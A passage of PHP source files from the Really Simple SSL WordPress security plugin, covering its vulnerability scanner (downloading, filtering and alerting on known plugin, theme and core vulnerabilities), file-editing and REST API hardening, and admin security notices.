         * Checks if the file is valid and exists. It checks three files: the manifest, the core vulnerabilities and the plugin vulnerabilities.
         *
         * @param bool $isCore
         * @param bool $manifest
         *
         * @return bool
         */
        private function validate_local_file(bool $isCore = false, bool $manifest = false): bool
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return false;
	        }
            if (!$manifest) {
                //if we don't check for the manifest, we check the other files.
                $isCore ? $file = 'core.json' : $file = 'components.json';
            } else {
                $file = 'manifest.json';
            }

            $upload_dir = Rsssl_File_Storage::get_upload_dir();
            $file = $upload_dir . '/' . $file;
            if (file_exists($file)) {
                //now we check if the file is older than 3 days, if so, we download it again
                $file_time = filemtime($file);
                $now = time();
                $diff = $now - $file_time;
                $days = floor($diff / (60 * 60 * 24));
                if ($days < 1) {
                    return true;
                }
            }

            return false;
        }


        /**
         * Downloads bases on given url
         *
         * @param string $url
         *
         * @return mixed|null
         * @noinspection PhpComposerExtensionStubsInspection
         */
        private function download(string $url)
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return null;
	        }

            //now we check if the file remotely exists and then log an error if it does not.
            $response = wp_remote_get( $url );
            if ( is_wp_error( $response ) ) {
                return null;
            }

            if ( wp_remote_retrieve_response_code($response) !== 200 ) {
                return null;
            }

            $json = wp_remote_retrieve_body($response);
            return json_decode($json);
        }

	    private function remote_file_exists($url): bool {
		    try {
			    $headers = @get_headers($url);
			    if ($headers === false) {
				    // URL is not accessible or some error occurred
				    return false;
			    }

			    // Check if the HTTP status code starts with "200" (indicating success)
			    return strpos($headers[0], '200') !== false;
			    // Rest of your code handling $headers goes here
		    } catch (Exception $e) {
			    return false;
            }

	    }

        /**
         * Stores a full core or component file in the upload folder
         *
         * @param $data
         * @param bool $isCore
         * @param bool $manifest
         *
         * @return void
         */
        private function store_file($data, bool $isCore = false, bool $manifest = false): void
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }
	        //we get the upload directory
	        $upload_dir = Rsssl_File_Storage::get_upload_dir();

	        if ( !$manifest ) {
		        $file = $upload_dir . '/' . ($isCore ? 'core.json' : 'components.json');
	        } else {
		        $file = $upload_dir . '/manifest.json';
	        }

	        //we delete the old file if it exists
	        if ( file_exists($file) ) {
		        wp_delete_file($file);
	        }

            //if the data is empty, we return null
            if ( empty($data) ) {
                return;
            }

	        Rsssl_File_Storage::StoreFile($file, $data);
            $this->jsons_files_updated = true;
        }

        public function get_file_stored_info($isCore = false, $manifest = false)
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return false;
	        }

            $upload_dir = Rsssl_File_Storage::get_upload_dir();

            if ($manifest) {
                $file = $upload_dir . '/manifest.json';
                if (!file_exists($file)) {
                    return false;
                }

                return Rsssl_File_Storage::GetDate($file);
            }
            $file = $upload_dir . '/' . ($isCore ? 'core.json' : 'components.json');
            if (!file_exists($file)) {
                return false;
            }

            return Rsssl_File_Storage::GetDate($file);
        }

        /* End of files and Storage */

        /* Section for the core files Note: No manifest is needed */

        /**
         * Downloads the vulnerabilities for the current core version.
         *
         * @return void
         */
        protected function download_core_vulnerabilities(): void
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }
            global $wp_version;
            $url = self::RSSSL_SECURITY_API . 'core/WordPress.json';
            $data = $this->download($url);
            if (!$data) {
                return;
            }

            $data->vulnerabilities = $this->filter_vulnerabilities($data->vulnerabilities, $wp_version, true);

            //first we store this as a json file in the uploads folder
            $this->store_file($data, true);
        }

        /* End of core files section */


        /* Section for the plug-in files */
        /**
         * Downloads the vulnerabilities for the current plugins.
         *
         * @return void
         */
        protected function download_plugin_vulnerabilities(): void
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }
            //we get all the installed plugins
            $installed_plugins = get_plugins();
            //first we get the manifest file
            $manifest = $this->getManifest();
            $vulnerabilities = [];
            foreach ($installed_plugins as $file => $plugin) {
                $slug = dirname($file);
	            $installed_plugins[ $file ]['Slug'] = $slug;
                $url = self::RSSSL_SECURITY_API . 'plugin/' . $slug . '.json';
                //if the plugin is not in the manifest, we skip it
                if (!in_array($slug, (array)$manifest)) {
                    continue;
                }
                $data = $this->download($url);
                if ($data !== null) {
                    $vulnerabilities[] = $data;
                }
            }
            //we also do it for all the installed themes
            $installed_themes = wp_get_themes();
            foreach ($installed_themes as $theme) {
                $theme = $theme->get('TextDomain');
                $url = self::RSSSL_SECURITY_API . 'theme/' . $theme . '.json';

                //if the plugin is not in the manifest, we skip it
                if (!in_array($theme, (array)$manifest)) {
                    continue;
                }

                $data = $this->download($url);

                if ($data !== null) {
                    $vulnerabilities[] = $data;
                }
            }

            //we make the installed_themes look like the installed_plugins
            $installed_themes = array_map( static function ($theme) {
                return [
                    'Name' => $theme->get('Name'),
                    'Slug' => $theme->get('TextDomain'),
                    'description' => $theme->get('Description'),
                    'Version' => $theme->get('Version'),
                    'Author' => $theme->get('Author'),
                    'AuthorURI' => $theme->get('AuthorURI'),
                    'PluginURI' => $theme->get('ThemeURI'),
                    'TextDomain' => $theme->get('TextDomain'),
                    'RequiresWP' => $theme->get('RequiresWP'),
                    'RequiresPHP' => $theme->get('RequiresPHP'),
                ];
            }, $installed_themes);

            //we merge $installed_plugins and $installed_themes
            $installed_plugins = array_merge($installed_plugins, $installed_themes);
            //we filter the vulnerabilities
            $vulnerabilities = $this->filter_active_components($vulnerabilities, $installed_plugins);
            $this->store_file($vulnerabilities);
        }

        /**
         * Loads the info from the files Note this is also being used for the themes.
         *
         * @return mixed|null
         */
        private function get_components()
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return [];
	        }
            $upload_dir = Rsssl_File_Storage::get_upload_dir();

            $file = $upload_dir . '/components.json';
            if (!file_exists($file)) {
                return [];
            }

            $components =  Rsssl_File_Storage::GetFile($file);
            if (!is_array($components)) $components = [];
            return $components;
        }

        /* End of plug-in files section */

        /* Section for the core files Note: No manifest is needed */
        private function get_core()
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return null;
	        }

            $upload_dir = Rsssl_File_Storage::get_upload_dir();

            $file = $upload_dir . '/core.json';
            if (!file_exists($file)) {
                return false;
            }

            return Rsssl_File_Storage::GetFile($file);
        }

        /* Section for the theme files */

        public function enable_feedback_in_theme(): void {
            //Logic here for theme warning Create Callback and functions for these steps
            //we only display the warning for the theme page
            add_action('current_screen', [$this, 'show_theme_warning']);
        }

        public function show_theme_warning($hook)
        {
            $screen = get_current_screen();

            if ($screen && $screen->id !== 'themes') {
                return;
            }

            //we add warning scripts to themes
            add_action('admin_enqueue_scripts', [$this, 'enqueue_theme_warning_scripts']);

        }

        public function show_inline_code($hook): void {
            if ($hook !== 'themes.php') {
                return;
            }
            //we add warning scripts to themes
            add_action('admin_footer', [$this, 'enqueue_theme_warning_scripts']);
        }

        public function enqueue_theme_warning_scripts(): void {
            //we get all components with vulnerabilities
            $components = $this->get_components();
            ob_start();?>
                <script>
                    window.addEventListener("load", () => {
                    let style = document.createElement('style');
                    let vulnerable_components = [<?php echo implode(',', array_map(function ($component) {
                        return "{slug: '" . esc_attr($component->slug) . "', risk: '" . esc_attr($this->get_highest_vulnerability($component->vulnerabilities)) . "'}";
                    }, $components)) ?>];

                    //we create the style for warning
                    style.innerHTML = '.rsssl-theme-notice {box-shadow: 0 1px 1px 0 rgba(0,0,0,.1); position:relative; z-index:50; margin-bottom: -35px; padding: 8px 12px;}';
                    style.innerHTML += '.rsssl-theme-notice-warning {background-color: #FFF6CE; border-left: 4px solid #ffb900;}';
                    //we create the style for danger
                    style.innerHTML += '.rsssl-theme-notice-danger {background-color: #FFCECE; border-left: 4px solid #dc3232;}';
                    style.innerHTML += '.rsssl-theme-notice-below-notice{margin-top: 41px;}';
                    style.innerHTML += '.rsssl-theme-notice-warning .dashicons, .rsssl-theme-notice-danger .dashicons{margin-right: 12px;}';
                    let levels = <?php echo json_encode($this->risk_naming)?>;

                    //we add the style to the head
                    document.head.appendChild(style);
                    //we loop through the components
                    vulnerable_components.forEach(function(component) {
                        //we get the theme element
                        let theme_element = document.querySelector(".theme[data-slug='"+component.slug+"']");
                        //if the theme exists
                        if (theme_element) {
                            //check if theme element contains notice. if so, push this notice down with class rsssl-theme-notice-below-notice
                            let hasNotice = theme_element.querySelector('.update-message.notice');
                            //we check the risk
                            let level = levels[component.risk];
                            let text = '<?php echo esc_attr(__('Vulnerability: %s', 'really-simple-ssl')) ?>';
                            text = text.replace('%s', level);
                            let divClass = ' rsssl-theme-notice ';
                            divClass += component.risk === 'h' || component.risk === 'c' ? 'rsssl-theme-notice-danger' : 'rsssl-theme-notice-warning';
                            if (hasNotice) divClass += ' rsssl-theme-notice-below-notice';
                            theme_element.insertAdjacentHTML('afterbegin', `
                              <div class="${divClass}">
                                <div><span class="dashicons dashicons-info"></span>${text}</div>
                              </div>
                            `);
                        }
                    });
                    //find quarantined themes, find all themes where the data-slug contains '-rsssl-q'
                    document.querySelectorAll(".theme[data-slug*='-rsssl-q']").forEach(function(theme_element) {
                        //if the theme exists
                        if ( theme_element ) {
                            //we check the risk
                            let text = '<?php echo esc_attr(__('Quarantined', 'really-simple-ssl')) ?>';
                            let divClass = 'rsssl-theme-notice rsssl-theme-notice-danger';
                            theme_element.insertAdjacentHTML('afterbegin', `
                              <div class="${divClass}">
                                <div><span class="dashicons dashicons-info"></span>
                                    <a href="https://really-simple-ssl.com/instructions/about-vulnerabilities/#quarantine" target="_blank" rel="noopener noreferrer">${text}</a>
                                </div>
                              </div>
                            `);
                        }
                    });
                });
            </script>
            <?php
            echo ob_get_clean();
        }

        /* End of theme files section */


        /* Private functions | Filtering and walks */

        /**
         * Filters the components based on the active plugins
         *
         * @param $components
         * @param array $active_plugins
         *
         * @return array
         */
        private function filter_active_components($components, array $active_plugins): array
        {
            $active_components = [];
            foreach ($components as $component) {
                foreach ($active_plugins as $active_plugin) {
                    if (isset($component->slug) && $component->slug === $active_plugin['Slug']) {
                        //now we filter out the relevant vulnerabilities
                        $component->vulnerabilities = $this->filter_vulnerabilities($component->vulnerabilities, $active_plugin['Version']);
                        //if we have vulnerabilities, we add the component to the active components or when the plugin is closed
                        if (count($component->vulnerabilities) > 0 || $component->status === 'closed') {
                            $active_components[] = $component;
                        }
                    }
                }
            }

            return $active_components;
        }

        /**
         * This function adds the vulnerability with the highest risk to the plugins page
         *
         * @param $vulnerabilities
         *
         * @return string
         */
        private function get_highest_vulnerability($vulnerabilities): string
        {
            //we loop through the vulnerabilities and get the highest risk level
            $highest_risk_level = 0;

            foreach ($vulnerabilities as $vulnerability) {
                if ($vulnerability->severity === null) {
                    continue;
                }
                if (!isset($this->risk_levels[$vulnerability->severity])) {
                    continue;
                }
                if ($this->risk_levels[$vulnerability->severity] > $highest_risk_level) {
                    $highest_risk_level = $this->risk_levels[$vulnerability->severity];
                }
            }
            //we now loop through the risk levels and return the highest one
            foreach ($this->risk_levels as $key => $value) {
                if ($value === $highest_risk_level) {
                    return $key;
                }
            }

            return 'l';
        }

        /* End of private functions | Filtering and walks */


        /* Private functions | End of Filtering and walks */


        /* Private functions | Feedback, Styles and scripts */

        /**
         * This function shows the feedback in the plugin
         *
         * @return void
         */
        private function enable_feedback_in_plugin(): void {
            //we add some styling to this page
            add_action('admin_enqueue_scripts', array($this, 'add_vulnerability_styles'));
            //we add an extra column to the plugins page
            add_filter('manage_plugins_columns', array($this, 'add_vulnerability_column'));
            add_filter('manage_plugins-network_columns', array($this, 'add_vulnerability_column'));
            //now we add the field to the plugins page
            add_action('manage_plugins_custom_column', array($this, 'add_vulnerability_field'), 10, 3);
            add_action('manage_plugins-network_custom_column', array($this, 'add_vulnerability_field'), 10, 3);
        }

        /* End of private functions | Feedback, Styles and scripts */

        /**
         * This function downloads the manifest file from the api server
         *
         * @return void
         */
        private function download_manifest(): void {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }
            $url = self::RSSSL_SECURITY_API . 'manifest.json';
            $data = $this->download($url);

            //we convert the data to an array
            $data = json_decode(json_encode($data), true);

            //first we store this as a json file in the uploads folder
            $this->store_file($data, true, true);
        }

        /**
         * This function downloads the created file from the uploads
         *
         * @return false|void
         */
        private function getManifest()
        {
	        if ( ! rsssl_admin_logged_in() ) {
		        return false;
	        }

            $upload_dir = Rsssl_File_Storage::get_upload_dir();

            $file = $upload_dir . '/manifest.json';
            if (!file_exists($file)) {
                return false;
            }

            return Rsssl_File_Storage::GetFile($file);
        }

        private function filter_vulnerabilities($vulnerabilities, $Version, $core = false): array {
	        $filtered_vulnerabilities = array();
	        foreach ( $vulnerabilities as $vulnerability ) {
		        //if fixed_in contains a version, and the current version is higher than the fixed_in version, we skip it as fixed.
		        //This needs to be a positive check only, as the fixed_in value is less accurate than the version_from and version_to values
		        if ( function_exists( 'rsssl_version_compare' ) ) {
			        if ( $vulnerability->fixed_in !== 'not fixed' && rsssl_version_compare( $Version, $vulnerability->fixed_in, '>=' ) ) {
				        continue;
			        }
		        } else {
			        # fallback
			        if ( $vulnerability->fixed_in !== 'not fixed' && version_compare( $Version, $vulnerability->fixed_in, '>=' ) ) {
				        continue;
			        }
		        }

		        //we have the fields version_from and version_to and their needed operators
		        $version_from  = $vulnerability->version_from;
		        $version_to    = $vulnerability->version_to;
		        $operator_from = $vulnerability->operator_from;
		        $operator_to   = $vulnerability->operator_to;
		        //we now check if the version is between the two versions
		        if ( function_exists( 'rsssl_version_compare' ) ) {
			        if ( rsssl_version_compare( $Version, $version_from, $operator_from ) && rsssl_version_compare( $Version, $version_to, $operator_to ) ) {
				        $filtered_vulnerabilities[] = $vulnerability;
			        }
		        } else {
			        if ( version_compare( $Version, $version_from, $operator_from ) && version_compare( $Version, $version_to, $operator_to ) ) {
				        $filtered_vulnerabilities[] = $vulnerability;
			        }
		        }

	        }
	        return $filtered_vulnerabilities;
        }

	    /**
         * Get count of risk occurrence for each risk level
	     * @return array
	     */
        public function count_risk_levels(): array {
            $plugins = $this->workable_plugins;
            $risk_levels = array();
            foreach ($plugins as $plugin) {
                if (isset($plugin['risk_level'])) {
                    if (isset($risk_levels[$plugin['risk_level']])) {
                        $risk_levels[$plugin['risk_level']]++;
                    } else {
                        $risk_levels[$plugin['risk_level']] = 1;
                    }
                }
            }

            return $risk_levels;
        }

	    /**
	     * check if a a dismissed notice should be reset
         *
	     * @param string $risk_level
	     *
	     * @return bool
	     */
	    private function should_reset_notification(string $risk_level): bool {
		    $plugins = $this->workable_plugins;
		    $vulnerable_plugins = array();
		    foreach ($plugins as $plugin) {
			    if (isset($plugin['risk_level']) && $plugin['risk_level'] === $risk_level) {
				    $vulnerable_plugins[] = $plugin['rss_identifier'];
			    }
		    }
		    $dismissed_for = get_option("rsssl_{$risk_level}_notification_dismissed_for",[]);
		    //cleanup. Check if plugins in mail_sent_for exist in the $plugins array
		    foreach ($dismissed_for as $key => $rss_identifier) {
			    if ( ! in_array($rss_identifier, $vulnerable_plugins) ) {
				    unset($dismissed_for[$key]);
			    }
		    }

		    $diff = array_diff($vulnerable_plugins, $dismissed_for);
		    foreach ($diff as $rss_identifier) {
			    if (!in_array($rss_identifier, $dismissed_for)){
				    $dismissed_for[] = $rss_identifier;
			    }
		    }
		    //add the new plugins to the $dismissed_for array
		    update_option("rsssl_{$risk_level}_notification_dismissed_for", $dismissed_for, false );
		    return !empty($diff);
	    }

	    /**
         * check if a new mail should be sent about vulnerabilities
	     * @return bool
	     */
        private function should_send_mail(): bool {
            $plugins = $this->workable_plugins;
            $vulnerable_plugins = array();
            foreach ($plugins as $plugin) {
                if (isset($plugin['risk_level'])) {
                    $vulnerable_plugins[] = $plugin['rss_identifier'];
                }
            }

            $mail_sent_for = get_option('rsssl_vulnerability_mail_sent_for',[]);
            //cleanup. Check if plugins in mail_sent_for exist in the $plugins array
            foreach ($mail_sent_for as $key => $rss_identifier) {
                if ( ! in_array($rss_identifier, $vulnerable_plugins) ) {
                    unset($mail_sent_for[$key]);
                }
            }

            $diff = array_diff($vulnerable_plugins, $mail_sent_for);
            foreach ($diff as $rss_identifier) {
                if (!in_array($rss_identifier, $mail_sent_for)){
	                $mail_sent_for[] = $rss_identifier;
                }
            }

            //add the new plugins to the mail_sent_for array
	        update_option('rsssl_vulnerability_mail_sent_for',$mail_sent_for, false );
            return !empty($diff);
        }

	    /**
         * Get id by risk level
	     * @param array  $vulnerabilities
	     * @param string $risk_level
	     *
	     * @return mixed|void
	     */
        private function getLinkedUUID( array $vulnerabilities, string $risk_level)
        {
            foreach ($vulnerabilities as $vulnerability) {
                if ($vulnerability->severity === $risk_level) {
                    return $vulnerability->rss_identifier;
                }
            }
        }

        private function getLinkedDate($vulnerabilities, string $risk_level)
        {
            foreach ($vulnerabilities as $vulnerability) {
                if ($vulnerability->severity === $risk_level) {
                    //we return the date in a readable format
                    return date(get_option('date_format'), strtotime($vulnerability->published_date));
                }
            }
        }

	    /**
         * Send email warning
	     * @return void
	     */
        public function send_vulnerability_mail(): void {
	        if ( ! rsssl_admin_logged_in() ) {
		        return;
	        }

            //first we check if the user wants to receive emails
            if ( !rsssl_get_option('send_notifications_email') ) {
                return;
            }

            $level_for_email = rsssl_get_option('vulnerability_notification_email_admin');
            if ( !$level_for_email || $level_for_email === '*' ) {
                return;
            }

            //now based on the risk level we send a different email
            $risk_levels = $this->count_risk_levels();
            $total = 0;
            $blocks = [];
            foreach ($risk_levels as $risk_level => $count) {
                if ( $this->risk_levels[$risk_level] >= $this->risk_levels[$level_for_email] ) {
                    $blocks[] = $this->createBlock($risk_level, $count);
                    $total    += $count;
                }
            }

            //date format is named month day year
            $mailer = new rsssl_mailer();
            $mailer->subject = sprintf(__("Vulnerability Alert: %s", "really-simple-ssl"), $this->site_url() );
	        $mailer->title = sprintf(_n("%s: %s vulnerability found", "%s: %s vulnerabilities found", $total, "really-simple-ssl"), $this->date(), $total);
            $message = sprintf(__("This is a vulnerability alert from Really Simple Security for %s. ","really-simple-ssl"), $this->domain() );
            $mailer->message = $message;
            $mailer->warning_blocks = $blocks;
            if ($total > 0) {
                //if for some reason the total is 0, we don't send an email
                $mailer->send_mail();
            }
        }

	    /**
         * Create an email block by risk level
	     *
	     * @param string $risk_level
	     * @param int    $count
	     *
	     * @return array
	     */
        protected function createBlock(string $risk_level, int $count): array
        {
            $plugin_name = '';
            //if we have only one plugin with this risk level, we can show the plugin name
            //we search it in the list
            if ( $count===1 ){
                $plugins = $this->workable_plugins;
                foreach ($plugins as $plugin) {
                    if (isset($plugin['risk_level']) && $plugin['risk_level'] === $risk_level) {
                        $plugin_name = $plugin['Name'];
                    }
                }
            }

            $risk = $this->risk_naming[$risk_level];
	        $title = $this->get_warning_string($risk_level, $count);
	        $message = $count === 1 ? sprintf(__("A %s vulnerability is found in %s.", "really-simple-ssl"),$risk, $plugin_name) : sprintf(__("Multiple %s vulnerabilities have been found.", "really-simple-ssl"), $risk);

            return [
                'title' => $title,
                'message' => $message . ' ' .
                             __('Based on your settings, Really Simple Security will take appropriate action, or you will need to solve it manually.','really-simple-ssl') .' '.
                             sprintf(__('Get more information from the Really Simple Security dashboard on %s'), $this->domain() ),
                'url' => rsssl_admin_url( [], '#settings/vulnerabilities_notifications'),
            ];
        }

	    /**
	     * @param string $risk_level
	     * @param int    $count
	     *
	     * @return string
	     */
        public function get_warning_string( string $risk_level, int $count): string {
            switch ($risk_level){
                case 'c':
                    $warning = sprintf(_n('You have %s critical vulnerability', 'You have %s critical vulnerabilities', $count, 'really-simple-ssl'), $count);
                    break;
                case 'h':
                    $warning = sprintf(_n('You have %s high-risk vulnerability', 'You have %s high-risk vulnerabilities', $count, 'really-simple-ssl'), $count);
                    break;
                case 'm':
                    $warning = sprintf(_n('You have %s medium-risk vulnerability', 'You have %s medium-risk vulnerabilities', $count, 'really-simple-ssl'), $count);
                    break;
                default:
	                $warning = sprintf(_n('You have %s low-risk vulnerability', 'You have %s low-risk vulnerabilities', $count, 'really-simple-ssl'), $count);
                    break;
            }
            return $warning;
        }

	    /**
	     * Get a nicely formatted date for today's date
	     *
	     * @return string
	     */
	    public function date(): string {
		    return date_i18n( get_option( 'date_format' ));
	    }

        /**
         * Get the domain name in a clickable format
         *
         * @return string
         */
	    public function domain(): string {
		    return '<a href="'.$this->site_url().'" target="_blank" rel="noopener noreferrer">'.$this->site_url().'</a>';
	    }

	    /**
         * Cron triggers may sometimes result in http URL's, even though SSL is enabled in Really Simple Security.
         * We ensure that the URL is returned with https if SSL is enabled.
         *
	     * @return string
	     */
        public function site_url(): string {
            $ssl_enabled = rsssl_get_option('ssl_enabled') || is_ssl();
            $scheme = $ssl_enabled ? 'https' : 'http';
            return get_site_url(null, '', $scheme);
        }

    }

    //we initialize the class
    //add_action('init', array(rsssl_vulnerabilities::class, 'instance'));
    if ( !defined('rsssl_pro') ) {
	    $vulnerabilities = new rsssl_vulnerabilities();
    }
}

#########################################################################################
# Functions for the vulnerability scanner   									        #
# These functions are used in the vulnerability scanner like the notices and the api's  #
#########################################################################################
//we clear all the cache when the vulnerability scanner is enabled



function rsssl_vulnerabilities_api( array $response, string $action, $data ): array {
	if ( ! rsssl_user_can_manage() ) {
		return $response;
	}
	switch ($action) {
		case 'vulnerabilities_test_notification':
			//creating a random string based on time.
			$random_string = md5( time() );
			update_option( 'test_vulnerability_tester', $random_string, false );
            //clear admin notices cache
			delete_option('rsssl_admin_notices');
			$response = rsssl_vulnerabilities::testGenerator();
			break;
		case 'vulnerabilities_scan_files':
			$response = rsssl_vulnerabilities::firstRun();
			break;
		case 'vulnerabilities_measures_get':
			$response = ( new rsssl_vulnerabilities )->measures_data();
			break;
		case 'vulnerabilities_measures_set':
			$response = ( new rsssl_vulnerabilities )->measures_set($data);
			break;
	}

	return $response;
}
add_filter( 'rsssl_do_action', 'rsssl_vulnerabilities_api', 10, 3 );

/* End of Routing and API's */
really-simple-ssl/security/wordpress/file-editing.php000064400000002230147510273070017075 0ustar00<?php
defined( 'ABSPATH' ) or die();

/**
 * @return void
 *
 * Disable file editing
 */
function rsssl_disable_file_editing() {
	if ( ! defined('DISALLOW_FILE_EDIT' ) ) {
		define('DISALLOW_FILE_EDIT', true );
	}
}
add_action("init", "rsssl_disable_file_editing");


/**
 * Username 'admin' changed notice
 * @return array
 */
function rsssl_disable_file_editing_notice( $notices ) {
	$notices['disallow_file_edit_false'] = array(
		'condition' => ['rsssl_file_editing_defined_but_disabled'],
		'callback' => '_true_',
		'score' => 5,
		'output' => array(
			'true' => array(
				'msg' => __("The DISALLOW_FILE_EDIT constant is defined and set to false. You can remove it from your wp-config.php.", "really-simple-ssl"),
				'icon' => 'open',
				'dismissible' => true,
				'url' => 'disallow_file_edit-defined-set-to-false'
			),
		),
	);
	return $notices;
}
add_filter('rsssl_notices', 'rsssl_disable_file_editing_notice');

/**
 * Check if the constant is defined, AND set to false. In that case the plugin cannot override it anymore
 * @return bool
 */
function rsssl_file_editing_defined_but_disabled(){
	return defined( 'DISALLOW_FILE_EDIT' ) && ! DISALLOW_FILE_EDIT;
}really-simple-ssl/security/wordpress/rest-api.php000064400000003263147510273070016270 0ustar00<?php
defined('ABSPATH') or die();
/**
 * @param $response
 * @param $handler
 * @param WP_REST_Request $request
 * @return mixed|WP_Error
 *
 * Hook into REST API requests
 */
function authorize_rest_api_requests( $response, $handler, WP_REST_Request $request ) {
    // allowed routes, whitelist option?
//    $routes = array(
//        '/wp/v2/csp etc',
//    );

    // Check if authorization header is set
    if ( ! $request->get_header( 'authorization' ) ) {
        return new WP_Error( 'authorization', 'Unauthorized access.', array( 'status' => 401 ) );
    }

    // if ( rsssl_get_networkwide_option('rsssl_restrict_rest_api') === 'restrict-roles' ) {
    // Check for certain role and allowed route
    if ( ! in_array( 'administrator', wp_get_current_user()->roles ) ) {
        return new WP_Error( 'forbidden', 'Access forbidden.', array( 'status' => 403 ) );
    }
    // }

    // if ( rsssl_get_networkwide_option('rsssl_restrict_rest_api') === 'logged-in-users' ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'forbidden', 'Access forbidden to non-logged in users.', array( 'status' => 403 ) );
    }
    // }

    // if ( rsssl_get_networkwide_option('rsssl_restrict_rest_api') === 'application-passwords' ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'forbidden', 'Access forbidden to non-logged in users.', array( 'status' => 403 ) );
    }
    // }

    return $response;

}

/**
 * @return void
 * Disable REST API
 */
function rsssl_disable_rest_api() {
    add_filter('json_enabled', '__return_false');
    add_filter('json_jsonp_enabled', '__return_false');
}

add_filter( 'rest_request_before_callbacks', 'authorize_rest_api_requests', 10, 3 );really-simple-ssl/security/notices.php000064400000014036147510273070014160 0ustar00<?php defined( 'ABSPATH' ) or die();
/**
 * Convert htaccess rules to html friendly layout
 *
 * @param string $code
 *
 * @return string
 */
function rsssl_parse_htaccess_to_html( string $code): string {
	if ( strpos($code, "\n")===0 ) {
		$code = 	preg_replace('/\n/', '', $code, 1);
	}
	//split into linebreak separated array, so we can run esc_html on the result
	$code = 	preg_replace('/\n/', '--br--', $code, 1);
	$code = 	preg_replace('/<br>/', '--br--', $code, 1);
	$code_arr = explode('--br--', $code);
	$code_arr = array_map('esc_html', $code_arr);
	$code = implode('<br>', $code_arr);
	return '<br><code>' . $code . '</code><br>';
}

function rsssl_general_security_notices( $notices ) {
	$code                 = rsssl_parse_htaccess_to_html( get_site_option( 'rsssl_htaccess_rules', '' ) );
	$uploads_code         = rsssl_parse_htaccess_to_html( get_site_option( 'rsssl_uploads_htaccess_rules', '' ) );
	$open_hardening_count = rsssl_count_open_hardening_features();

	$notices['htaccess_status'] = array(
		'callback'          => 'rsssl_htaccess_status',
		'score'             => 5,
		'output'            => array(
			'not-writable' => array(
				'title'       => __( ".htaccess not writable", "really-simple-ssl" ),
				'msg'         => __( "An option that requires the .htaccess file is enabled, but the file is not writable.", "really-simple-ssl" ) . ' ' . __( "Please add the following lines to your .htaccess, or set it to writable:", "really-simple-ssl" ) . $code,
				'icon'        => 'warning',
				'dismissible' => true,
				'plusone'     => true,
				'url'         => 'manual/editing-htaccess/',
			),
			'not-exists'   => array(
				'title'       => __( ".htaccess does not exist", "really-simple-ssl" ),
				'msg'         => __( "An option that requires the .htaccess file is enabled, but the file does not exist.", "really-simple-ssl" ) . ' ' . __( "Please add the following lines to your .htaccess, or set it to writable:", "really-simple-ssl" ) . $code,
				'icon'        => 'warning',
				'dismissible' => true,
				'plusone'     => true,
				'url'         => 'manual/editing-htaccess/',
			),
		),
		'show_with_options' => [
			'disable_indexing',
			'redirect'
		]
	);

	$notices['htaccess_status_uploads'] = array(
		'callback'          => 'rsssl_uploads_htaccess_status',
		'score'             => 5,
		'output'            => array(
			'not-writable' => array(
				'title'       => __( ".htaccess in uploads not writable", "really-simple-ssl" ),
				'msg'         => __( "An option that requires the .htaccess file in the uploads directory is enabled, but the file is not writable.", "really-simple-ssl" ) . ' ' . __( "Please add the following lines to your .htaccess, or set it to writable:", "really-simple-ssl" ) . $uploads_code,
				'icon'        => 'warning',
				'dismissible' => true,
				'plusone'     => true,
				'url'         => 'manual/editing-htaccess/',
			),
		),
		'show_with_options' => [
			'block_code_execution_uploads',
		]
	);

	$notices['display_name_is_login_exists'] = array(
		'condition' => [ 'rsssl_get_users_where_display_name_is_login' ],
		'callback'  => '_true_',
		'score'     => 5,
		'output'    => array(
			'true' => array(
				'url'         => 'manual/login-and-display-names-should-be-different-for-wordpress/',
				'msg'         => __( "We have detected administrator roles where the login and display names are the same.", "really-simple-ssl" ) . "&nbsp;<b>" . rsssl_list_users_where_display_name_is_login_name() . "</b>",
				'icon'        => 'open',
				'dismissible' => true,
			),
		),
	);

	$notices['new_username_empty'] = array(
		'condition'         => [ 'rsssl_has_admin_user', 'option_rename_admin_user', 'NOT rsssl_new_username_valid' ],
		'callback'          => '_true_',
		'score'             => 5,
		'output'            => array(
			'true' => array(
				'highlight_field_id' => 'rename_admin_user',
				'title'              => __( "Username", "really-simple-ssl" ),
				'msg'                => __( "Rename admin user enabled: Please choose a new username of at least 3 characters, which is not in use yet.", "really-simple-ssl" ),
				'icon'               => 'warning',
				'dismissible'        => true,
			),
		),
		'show_with_options' => [
			'new_admin_user_login',
		],
	);

	$notices['enable_vulnerability_scanner'] = array(
		'callback' => 'option_enable_vulnerability_scanner',
		'score'    => 5,
		'output'   => array(
			'false' => array(
				'highlight_field_id' => 'enable_vulnerability_scanner',
				'msg'                => __( "Enable the Vulnerability scan to detect possible vulnerabilities.", 'really-simple-ssl' ),
				'icon'               => 'open',
				'admin_notice'       => false,
				'dismissible'        => true,
				'plusone'            => false,
			),
			'true'  => array(
				'msg'  => __( "Vulnerability scanning is enabled.", 'really-simple-ssl' ),
				'icon' => 'success',
			),
		),
	);

	$notices['count_open_hardening_features'] = array(
		'callback' => 'rsssl_has_open_hardening_features',
		'score'    => 5,
		'output'   => array(
			'true'  => array(
				'highlight_field_id' => 'disable_anyone_can_register',
				'msg'                => sprintf(
					_n(
						"You have %s open hardening feature.",
						"You have %s open hardening features.",
						$open_hardening_count,
						"really-simple-ssl"
					),
					$open_hardening_count
				),
				'icon'               => 'open',
				'dismissible'        => true,
			),
			'false' => array(
				'msg'  => __( "All recommended hardening features enabled.", "really-simple-ssl" ),
				'icon' => 'success',
			),
		),
	);

    $notices['lock_file_exists'] = array(
        'callback' => 'rsssl_lock_file_exists',
        'score'    => 5,
        'output'   => array(
            'true'  => array(
                'msg'  => __( 'The Firewall, LLA and 2FA are currently inactive, as you have activated Safe Mode with the rsssl-safe-mode.lock file. Remove the file from your /wp-content folder after you have finished debugging.', 'really-simple-ssl' ),
                'icon' => 'warning',
            ),
        ),
    );

	return $notices;
}
add_filter('rsssl_notices', 'rsssl_general_security_notices');
really-simple-ssl/security/security.php000064400000003203147510273070014355 0ustar00<?php
defined('ABSPATH') or die();
